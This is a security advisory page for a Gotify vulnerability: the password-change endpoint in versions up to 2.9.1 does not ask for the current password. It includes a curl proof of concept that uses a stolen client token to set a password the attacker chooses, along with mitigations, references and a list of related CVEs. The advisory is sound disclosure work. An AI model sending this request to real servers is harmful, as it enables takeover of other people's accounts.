Résumé
Gotify: Insufficiently Protected Password Change endpoint
Détails de l’avis
The password change endpoint (POST /current/user/password) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access.
PoC
# Attacker has obtained a client token
# No prior password knowledge required
STOLEN_TOKEN="Cxxxxxxxxxx"
curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"pass":"attacker_controls_this"}'
# Expected response:
# HTTP/1.1 200 OK
Mitigation
- Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or
- Restrict access to the state-changing endpoints under
/userand/current/userto trusted networks.
Références
- https://github.com/advisories/GHSA-3hcj-9m7p-wwm9
- https://github.com/gotify/server/security/advisories/GHSA-3hcj-9m7p-wwm9
- https://nvd.nist.gov/vuln/detail/CVE-2026-102603
- https://github.com/gotify/server/pull/952
- https://github.com/gotify/server/commit/a8744482c668e07a61798573ec8e17bd3f6009f9
- https://github.com/gotify/server/releases/tag/v3.0.0
Vulnérabilités liées
Tout Supply chain →- HIGHCVE-2026-73292
Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation
- HIGHCVE-2026-96627
Arcane: Delegated users:update permission allows admin account takeover via password reset (no privilege-hierarchy check)
- MEDIUMCVE-2026-96628
Arcane: Environment access token bypasses the admin-required authorization gate on `/api/debug/pprof`
- CRITICALCVE-2026-105192
LMCache: Remote code execution via unsafe deserialization in multiprocess mode transport
- HIGHCVE-2026-100349
kin-openapi openapi3filter: nil-pointer panic in ValidateResponse on a response header declared with content
- MEDIUMCVE-2026-58494
Wasmtime: WASI hard links bypass wasmtime-wasi's FilePerms for destination